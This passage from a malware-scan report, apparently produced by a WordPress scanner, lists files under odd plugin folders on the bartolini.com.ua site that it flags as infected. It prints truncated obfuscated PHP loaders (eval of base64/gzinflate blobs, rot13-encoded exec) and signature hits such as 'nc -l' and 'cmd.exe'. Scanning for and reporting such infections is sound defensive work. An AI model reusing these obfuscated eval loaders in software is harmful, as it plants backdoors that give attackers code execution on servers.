</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_297").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/akhrc/index.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 26.19 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 17:53:58</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 17:53:58</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_298" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Sign 963e968a <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 446</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 963e968a)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">php_uname</span><span style="color: #007700">()</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_298").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/maintenance/includes/functions.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 77.17 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2022-02-24 03:40:58</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-07 10:03:36</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_299" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Sign 7830f7a6 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 494</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7830f7a6)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">nc</span><span style="color: #007700">-</span><span style="color: #0000BB">l</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_299").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/maintenance/includes/admin.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 9.17 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2022-02-24 03:40:58</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-07 10:03:36</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_300" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Sign 7830f7a6 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 161</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7830f7a6)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">nc</span><span style="color: #007700">-</span><span style="color: #0000BB">l</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_300").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/tmxwk/dkvopzib.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 18.39 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-23 21:09:58</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-23 21:09:58</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 2</span><br><table id="file_301" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'eJytu3VQnU23PYi7e3B3d3d3CX5wd4K7BoIHgru7u7sT3CG4u7vlx0vyvXfuvTM1VVPTp07zPHuv3nv12n2o6j82DIyJg4Odg56Dib2dg5OFrRklIxUPjKCFrYWeo4kTJcUfr7WdGQUtobyqrOx/c76b9T4Aju/e/77O2MLR3trA/b+7YUyMzO0IKXgNHfgpeGAsTAkpiUydbY2cLOxs9UzcLBydHCkpzE3cmA0tbCmoqDwJ/+Mk/GukJH1/cHRyeHeR2hLyEb4/Wpv8l5WHkNTxHcVHQfH+ZMHHyEPoam5hbUJJasFLavvPGgNCPkdnw3fof5bQklrQMv+zzug9mr2BkRUlsSQ1MS2pwbvtH3rvUfgYqTz/hCU14vEmNLF2NCH8Y6D/YyG1oOFj5iH0JnQwcXJ2sP3D4Z93b5j/hy2auNlb2xmbvG+R0BOGkPC/tvnXQUn6D7V3ug4OBu5/Me/jb/x3XS2c/juEh/AfiDfMR0ZKIsL...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">$BMQDa</span><span style="color: #007700">(</span><span style="color: #0000BB">$WUlxk</span><span style="color: #007700">(</span><span style="color: #DD0000">'eJytu3VQnU23PYi7e3B3d3d3CX5wd4K7BoIHgru7u7sT3CG4u7vlx0vyvXfuvTM1VVPTp07zPHuv3nv12n2o6j82DIyJg4Odg56Dib2dg5OFrRklIxUPjKCFrYWeo4kTJcUfr7WdGQUtobyqrOx/c76b9T4Aju/e/77O2MLR3trA/b+7YUyMzO0IKXgNHfgpeGAsTAkpiUydbY2cLOxs9UzcLBydHCkpzE3cmA0tbCmoqDwJ/+Mk/GukJH1/cHRyeHeR2hLyEb4/Wpv8l5WHkNTxHcVHQfH+ZMHHyEPoam5hbUJJasFLavvPGgNCPkdnw3fof5bQklrQMv+zzug9mr2BkRUlsSQ1MS2pwbvtH3rvUfgYqTz/hCU14vEmNLF2NCH8Y6D/YyG1oOFj5iH0JnQwcXJ2sP3D4Z93b5j/hy2auNlb2xmbvG+R0BOGkPC/tvnXQUn6D7V3ug4OBu5/Me/jb/x3XS2c...</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ee1cb326 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ee1cb326)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">9WZw</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'base64_decode'</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_301").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/tmxwk/oogvngmo.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 18.39 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-23 20:50:56</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-23 20:50:56</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 2</span><br><table id="file_302" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'eJytu3VQnU23PYi7e3B3d3d3CX5wd4K7BoIHgru7u7sT3CG4u7vlx0vyvXfuvTM1VVPTp07zPHuv3nv12n2o6j82DIyJg4Odg56Dib2dg5OFrRklIxUPjKCFrYWeo4kTJcUfr7WdGQUtobyqrOx/c76b9T4Aju/e/77O2MLR3trA/b+7YUyMzO0IKXgNHfgpeGAsTAkpiUydbY2cLOxs9UzcLBydHCkpzE3cmA0tbCmoqDwJ/+Mk/GukJH1/cHRyeHeR2hLyEb4/Wpv8l5WHkNTxHcVHQfH+ZMHHyEPoam5hbUJJasFLavvPGgNCPkdnw3fof5bQklrQMv+zzug9mr2BkRUlsSQ1MS2pwbvtH3rvUfgYqTz/hCU14vEmNLF2NCH8Y6D/YyG1oOFj5iH0JnQwcXJ2sP3D4Z93b5j/hy2auNlb2xmbvG+R0BOGkPC/tvnXQUn6D7V3ug4OBu5/Me/jb/x3XS2c/juEh/AfiDfMR0ZKIsL...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">$BMQDa</span><span style="color: #007700">(</span><span style="color: #0000BB">$WUlxk</span><span style="color: #007700">(</span><span style="color: #DD0000">'eJytu3VQnU23PYi7e3B3d3d3CX5wd4K7BoIHgru7u7sT3CG4u7vlx0vyvXfuvTM1VVPTp07zPHuv3nv12n2o6j82DIyJg4Odg56Dib2dg5OFrRklIxUPjKCFrYWeo4kTJcUfr7WdGQUtobyqrOx/c76b9T4Aju/e/77O2MLR3trA/b+7YUyMzO0IKXgNHfgpeGAsTAkpiUydbY2cLOxs9UzcLBydHCkpzE3cmA0tbCmoqDwJ/+Mk/GukJH1/cHRyeHeR2hLyEb4/Wpv8l5WHkNTxHcVHQfH+ZMHHyEPoam5hbUJJasFLavvPGgNCPkdnw3fof5bQklrQMv+zzug9mr2BkRUlsSQ1MS2pwbvtH3rvUfgYqTz/hCU14vEmNLF2NCH8Y6D/YyG1oOFj5iH0JnQwcXJ2sP3D4Z93b5j/hy2auNlb2xmbvG+R0BOGkPC/tvnXQUn6D7V3ug4OBu5/Me/jb/x3XS2c...</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ee1cb326 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ee1cb326)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">9WZw</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'base64_decode'</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_302").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/tmxwk/woglznpr.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 18.39 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-23 21:18:44</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-23 21:18:44</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 2</span><br><table id="file_303" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'eJytu3VQnU23PYi7e3B3d3d3CX5wd4K7BoIHgru7u7sT3CG4u7vlx0vyvXfuvTM1VVPTp07zPHuv3nv12n2o6j82DIyJg4Odg56Dib2dg5OFrRklIxUPjKCFrYWeo4kTJcUfr7WdGQUtobyqrOx/c76b9T4Aju/e/77O2MLR3trA/b+7YUyMzO0IKXgNHfgpeGAsTAkpiUydbY2cLOxs9UzcLBydHCkpzE3cmA0tbCmoqDwJ/+Mk/GukJH1/cHRyeHeR2hLyEb4/Wpv8l5WHkNTxHcVHQfH+ZMHHyEPoam5hbUJJasFLavvPGgNCPkdnw3fof5bQklrQMv+zzug9mr2BkRUlsSQ1MS2pwbvtH3rvUfgYqTz/hCU14vEmNLF2NCH8Y6D/YyG1oOFj5iH0JnQwcXJ2sP3D4Z93b5j/hy2auNlb2xmbvG+R0BOGkPC/tvnXQUn6D7V3ug4OBu5/Me/jb/x3XS2c/juEh/AfiDfMR0ZKIsL...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">$BMQDa</span><span style="color: #007700">(</span><span style="color: #0000BB">$WUlxk</span><span style="color: #007700">(</span><span style="color: #DD0000">'eJytu3VQnU23PYi7e3B3d3d3CX5wd4K7BoIHgru7u7sT3CG4u7vlx0vyvXfuvTM1VVPTp07zPHuv3nv12n2o6j82DIyJg4Odg56Dib2dg5OFrRklIxUPjKCFrYWeo4kTJcUfr7WdGQUtobyqrOx/c76b9T4Aju/e/77O2MLR3trA/b+7YUyMzO0IKXgNHfgpeGAsTAkpiUydbY2cLOxs9UzcLBydHCkpzE3cmA0tbCmoqDwJ/+Mk/GukJH1/cHRyeHeR2hLyEb4/Wpv8l5WHkNTxHcVHQfH+ZMHHyEPoam5hbUJJasFLavvPGgNCPkdnw3fof5bQklrQMv+zzug9mr2BkRUlsSQ1MS2pwbvtH3rvUfgYqTz/hCU14vEmNLF2NCH8Y6D/YyG1oOFj5iH0JnQwcXJ2sP3D4Z93b5j/hy2auNlb2xmbvG+R0BOGkPC/tvnXQUn6D7V3ug4OBu5/Me/jb/x3XS2c...</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ee1cb326 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ee1cb326)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">9WZw</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'base64_decode'</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_303").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/tmxwk/gjklg.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 161.68 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-23 18:08:41</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-23 18:08:41</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_304" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Sign a408f408 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1719</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: a408f408)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">cmd</span><span style="color: #007700">.</span><span style="color: #0000BB">exe</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_304").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/tmxwk/nwxfq.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 52.73 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-24 14:50:49</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-24 14:50:49</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 12</span><br><table id="file_305" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'4tNCPdUMNHGp37TLg3k6pPY5CIf6KWFdMqFEChJKXgZbi1BELpXmoM6ztMvoPnWg4eQUvTkc3PmAcwmls4bLBEQTSX1ckJGas66NtmwXAaljK4uUMePcJnGVpTYHwRtF3uTXMQDYJ2O8umyGtGsMsdkHxFjTSqmY1beQbJ7x0Ls9WyJ6ASK9QrEzGTf7IdPIPre8mqhI9eodyFMNj9YGRJDn4CcfJ2kg2eIoDbWPphXTbRPGymWPdoz2ZTpl06XQOtLLx7gsxvK3Irk9BTH1PqIsFBobKuAAvoc0SoCKu93DeTNctdZDxvZmgGsswABEIsOaUOsA2MUKfu9SxAH8JNoIXBOCmP6yV9cgTI617pcLxXozLLp4CBgY6DKMgckypa8MEWDrpi0uDksDJcp9nY1MVP05l9w4HNHAr3s0crA8C0jhvHHHTYlLPxeNcFoVSCkMXiWORKVrbYrMaYRShWQq0pJFhNkC7vDJ1G0TBv51pj82gTS...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit eval_base64 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution), through Base64 text, allow remote attackers to execute arbitrary commands or code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'ZnVuY3Rpb24gXzZaeXMoJF90V00xZ1k3aU8peyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczNjM2MzAnKSkpOyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczMCcpKSwoaW50KShoZXgyYmluKCcyZDM2MzYzNicpKSk7cmV0dXJuICRfdFdNMWdZN2lPO30kX21FaDh2PSdfNlp5cyc7JF94d3luVU9MPSdiYXNlNjRfZGVjb2RlJztmdW5jdGlvbiBfcjVNZTBGTnJoODNVWTl4WnQoJF9jQ3pGZHIpe2dsb2JhbCAkX21FaDh2O2dsb2JhbCAkX3h3eW5VT0w7cmV0dXJuIHN0cnJldihnemluZmxhdGUoJF94d3luVU9MKF82WnlzKCRfY0N6RmRyKSkpKTt9ZXZhbChldmFs...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit execution <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution) allow remote attackers to execute PHP code on the target machine via HTTP</p><p><i>[<a href="https://cwe.mitre.org/data/definitions/77.html" target="_blank" class="text-primary">https://cwe.mitre.org/data/definitions/77.html</a>, <a href=" https://cwe.mitre.org/data/definitions/78.html" target="_blank" class="text-primary"> https://cwe.mitre.org/data/definitions/78.html</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'ZnVuY3Rpb24gXzZaeXMoJF90V00xZ1k3aU8peyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczNjM2MzAnKSkpOyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczMCcpKSwoaW50KShoZXgyYmluKCcyZDM2MzYzNicpKSk7cmV0dXJuICRfdFdNMWdZN2lPO30kX21FaDh2PSdfNlp5cyc7JF94d3luVU9MPSdiYXNlNjRfZGVjb2RlJztmdW5jdGlvbiBfcjVNZTBGTnJoODNVWTl4WnQoJF9jQ3pGZHIpe2dsb2JhbCAkX21FaDh2O2dsb2JhbCAkX3h3eW5VT0w7cmV0dXJuIHN0cnJldihnemluZmxhdGUoJF94d3luVU9MKF82WnlzKCRfY0N6RmRyKSkpKTt9ZXZhbChldmFs...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'ZnVuY3Rpb24gXzZaeXMoJF90V00xZ1k3aU8peyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczNjM2MzAnKSkpOyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczMCcpKSwoaW50KShoZXgyYmluKCcyZDM2MzYzNicpKSk7cmV0dXJuICRfdFdNMWdZN2lPO30kX21FaDh2PSdfNlp5cyc7JF94d3luVU9MPSdiYXNlNjRfZGVjb2RlJztmdW5jdGlvbiBfcjVNZTBGTnJoODNVWTl4WnQoJF9jQ3pGZHIpe2dsb2JhbCAkX21FaDh2O2dsb2JhbCAkX3h3eW5VT0w7cmV0dXJuIHN0cnJldihnemluZmxhdGUoJF94d3luVU9MKF82WnlzKCRfY0N6RmRyKSkpKTt9ZXZhbChldmFs...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function str_rot13 exec_str_rot13 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `exec`</p><p><i>[<a href="https://www.php.net/exec" target="_blank" class="text-primary">https://www.php.net/exec</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">RkRP</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 085a0329 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 085a0329)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">iYXNlNj</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 0f37c730 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 0f37c730)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">mdW5jdGlvb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 11413268 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 11413268)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7830f7a6 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7830f7a6)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">nemluZmxhdG</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 80e70adc <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 80e70adc)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700"><?</span><span style="color: #0000BB">php<br /></span><span style="color: #007700">eval</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 91535293 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 91535293)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">ldmFs</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d97f004d <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d97f004d)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">ZXZhb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign de12c454 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: de12c454)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">V2YW</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'base64_decode'</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_305").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/tmxwk/swttb.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 52.73 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-23 15:38:30</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-23 15:38:30</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 12</span><br><table id="file_306" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
